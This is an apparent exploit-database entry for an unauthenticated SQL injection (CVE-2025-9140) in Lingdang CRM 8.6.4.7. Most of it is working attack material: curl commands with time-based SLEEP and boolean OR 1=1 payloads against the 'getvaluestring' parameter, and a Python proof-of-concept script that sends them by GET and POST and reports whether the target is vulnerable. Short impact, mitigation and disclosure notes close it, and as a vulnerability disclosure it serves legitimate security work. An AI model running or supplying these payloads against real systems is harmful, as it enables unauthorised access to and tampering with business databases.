# Exploit Title: Lingdang CRM 8.6.4.7 - SQL Injection # Google Dork: N/A # Date: 2025-08-19 # Exploit Author: Beatriz Fresno Naumova # Vendor: Shanghai Lingdang Information Technology) # Software Link: (N/A – commercial product) # Version: <= 8.6.4.7 (fixed in 8.6.5.x per vendor advisory) # Tested on: Generic LAMP stack, PHP 7/8 (PoC uses HTTP only; no OS dependency) # CVE : CVE-2025-9140 # Summary # The endpoint /crm/crmapi/erp/tabdetail_moduleSave.php is vulnerable to SQL injection via the # 'getvaluestring' parameter. An unauthenticated remote attacker can perform boolean/time-based # blind SQL injection. Vendor states this was fixed by adopting parameterized queries in v8.6.5+. # Route # /crm/crmapi/erp/tabdetail_moduleSave.php # Parameter # getvaluestring (GET or POST) # Notes # * This PoC does NOT target a live site. Replace TARGET with a lab host you own. # * Demonstrates time-based blind (SLEEP) and boolean-based payloads. # --- Quick PoC with curl (time-based blind) --- # Expect ~5s response delay on vulnerable targets. # GET variant: curl -i -k "http://TARGET/crm/crmapi/erp/tabdetail_moduleSave.php?getvaluestring='||(SELECT SLEEP(5))--+-" # POST variant: curl -i -k -X POST "http://TARGET/crm/crmapi/erp/tabdetail_moduleSave.php" \ --data "getvaluestring='||(SELECT SLEEP(5))--+-" # --- Boolean-based example (response/body differences may vary by deployment) --- curl -s -k "http://TARGET/crm/crmapi/erp/tabdetail_moduleSave.php?getvaluestring=' OR 1=1-- -" -o /tmp/true.html curl -s -k "http://TARGET/crm/crmapi/erp/tabdetail_moduleSave.php?getvaluestring=' OR 1=2-- -" -o /tmp/false.html # Compare /tmp/true.html vs /tmp/false.html for observable differences. # --- Python 3 PoC (time-based) --- # Save as lingdang_sqli_poc.py and run: python3 lingdang_sqli_poc.py http://TARGET import sys, time, requests def test_time_sqli(base): url_get = f"{base.rstrip('/')}/crm/crmapi/erp/tabdetail_moduleSave.php" payload = "'||(SELECT SLEEP(5))--+-" try: t0 = time.time() r = requests.get(url_get, params={"getvaluestring": payload}, timeout=30, verify=False) dt = time.time() - t0 print(f"[+] GET status={r.status_code} elapsed={dt:.2f}s") if dt >= 5: print("[+] Likely vulnerable to time-based SQLi via GET.") else: print("[-] No significant delay observed via GET.") except Exception as e: print(f"[!] GET error: {e}") try: t0 = time.time() r = requests.post(url_get, data={"getvaluestring": payload}, timeout=30, verify=False) dt = time.time() - t0 print(f"[+] POST status={r.status_code} elapsed={dt:.2f}s") if dt >= 5: print("[+] Likely vulnerable to time-based SQLi via POST.") else: print("[-] No significant delay observed via POST.") except Exception as e: print(f"[!] POST error: {e}") if __name__ == "__main__": if len(sys.argv) != 2: print(f"Usage: {sys.argv[0]} http://TARGET") sys.exit(1) requests.packages.urllib3.disable_warnings() test_time_sqli(sys.argv[1]) # --- Impact --- # Confidentiality, integrity, availability compromise via SQL injection (CWE-89). # --- Mitigations --- # 1) Use parameterized queries / prepared statements for getvaluestring. # 2) Server-side input validation and allow-listing for the parameter. # 3) Web Application Firewall (WAF) rules to block SQLi patterns on this route. # --- Disclosure --- # Public identifiers: CVE-2025-9140 (VulDB VDB-320520). # Vendor reportedly fixed in 8.6.5+ with parameterized queries.